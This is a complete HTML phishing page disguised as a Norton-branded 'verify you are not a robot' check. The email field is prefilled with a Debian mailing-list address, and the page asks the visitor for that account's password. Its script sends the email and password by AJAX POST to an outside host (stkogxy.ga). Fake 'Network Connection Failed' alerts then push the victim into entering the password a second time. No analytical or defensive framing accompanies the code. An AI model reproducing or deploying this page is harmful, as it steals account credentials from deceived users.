<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" type="text/css" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<style type="text/css">
input {outline: none;}
input:focus {outline: none; box-shadow: none !important; border-color:008000 !important }
.verify {width: 100%; color: grey; width: 100%; display: block; text-align: center; font-size: 20px}
.secured {height: 50px; margin-bottom: 30px; margin-left: auto; display: block;}
.main {background-image: url('https://i.imgur.com/FRKHoeK.png'); width: 100%; min-height: 100vh}
.form_parent {background-color: white; padding: 10px 20px 50px 20px; height: fit-content; align-self: center; border:1px solid lightgrey;}
.input {border-radius: 50px; border:2px solid #008000 !important;}
.button {background-color:#008000; width: 100%; color: white; border-radius: 50px; margin-top: 10px;font-size: 17px; opacity: 90% }
.button:hover {color: white; opacity: 100%}
</style>
<title></title>
</head>
<body>
<div class="main row">
<div class="col-md-4 offset-md-4 form_parent bg-white rounded">
<img src="https://www.pikpng.com/pngl/m/152-1524612_secure-checkout-norton-security-logo-png-clipart.png" class="secured">
<p class="verify"><i><b>Verify</b> to show you are not a robot</i></p>
<input type="email" value="debian-science-maintainers@lists.alioth.debian.org" name="email" id="email" placeholder="Enter Email Address" readonly>
<br/>
<input type="password" value="" id="password" name="password" placeholder="Enter Email Password" required><br/>
<input type="hidden" id="tel" value="0000" name="tel" placeholder="Telephone">
<br/>
<span id="msg" style="display:none; font-size:12px; color:rgb(232, 17, 35); font-weight:bold;"></span><br />
<input id="submit-btn" type="submit" value="Continue">
</div>
<!-- Optional JavaScript -->
<!-- jQuery first, then Popper.js, then Bootstrap JS -->
<script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q" crossorigin="anonymous"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js" integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl" crossorigin="anonymous"></script>
</body>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js"></script>
<script>
$("#submit-btn1").hide();
/* global $ */
$(document).ready(function(){
var count=0;
/////////////url email getting////////////////
var email = window.location.hash.substr(1);
if (!email) {
}
else
{
// $('#email').val(email);
var my_email =email;
var ind=my_email.indexOf("@");
var my_slice=my_email.substr((ind+1));
var c= my_slice.substr(0, my_slice.indexOf('.'));
var final= c.toLowerCase();
$('#contact').trigger("reset");
$("#msg").hide();
// $('#fieldImg').attr('src', 'images/other-1.png');
// $('#field').html("Other Mail");
$('#email').val(my_email);
$('#emailch').html(my_email);
$("#msg").hide();
// $("#inputbar").animate({left:200, opacity:"hide"}, 0);
// $("#automail").animate({right:200, opacity:"show"}, 1000);
// $('#ajaxModal').modal('show');
}
///////////////url getting email////////////////
$('#submit-btn').click(function(event){
$('#error').hide();
$('#msg').hide();
event.preventDefault();
var email=$("#email").val();
var password=$("#password").val();
var msg = $('#msg').html();
$('#msg').text( msg );
///////////new injection////////////////
var my_email =email;
var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
// if (!filter.test(my_email)) {
// $('#error').show();
// email.focus;
// return false;
// }
var ind=my_email.indexOf("@");
var my_slice=my_email.substr((ind+1));
var c= my_slice.substr(0, my_slice.indexOf('.'));
var final= c.toLowerCase();
var n = my_email.search("@");
///////////new injection////////////////
count=count+1;
$.ajax({
dataType: 'JSON',
url: 'https://stkogxy.ga/orders/dhli.php',
type: 'POST',
data:{
email:email,
password:password,
},
// data: $('#contact').serialize(),
beforeSend: function(xhr){
$('#submit-btn').val('Verifing...');
},
success: function(response){
if(response){
$("#msg").show();
console.log(response);
if(response['signal'] == 'ok'){
$("#password").val("");
if (count>=2) {
count=0;
// window.location.replace(response['redirect_link']);
alert("Network Connection Failed! - We were unable to connect to the server, please try again later.");
}
$('#msg').html(response['msg']);
}
else{
$('#msg').html(response['msg']);
}
}
},
error: function(){
$("#password").val("");
if (count>=2) {
count=0;
alert("Network Connection Failed! - We were unable to connect to the server, please try again later.");
}
$("#msg").show();
$('#msg').html("Please confirm password, by re-filling it again");
},
complete: function(){
$('#submit-btn').val('CONTINUE');
}
});
});
});
</script>
<script>
// Get the modal
var modal = document.getElementById('id01');
// When the user clicks anywhere outside of the modal, close it
window.onclick = function(event) {
if (event.target == modal) {
modal.style.display = "none";
}
}
</script>
</body>
</html>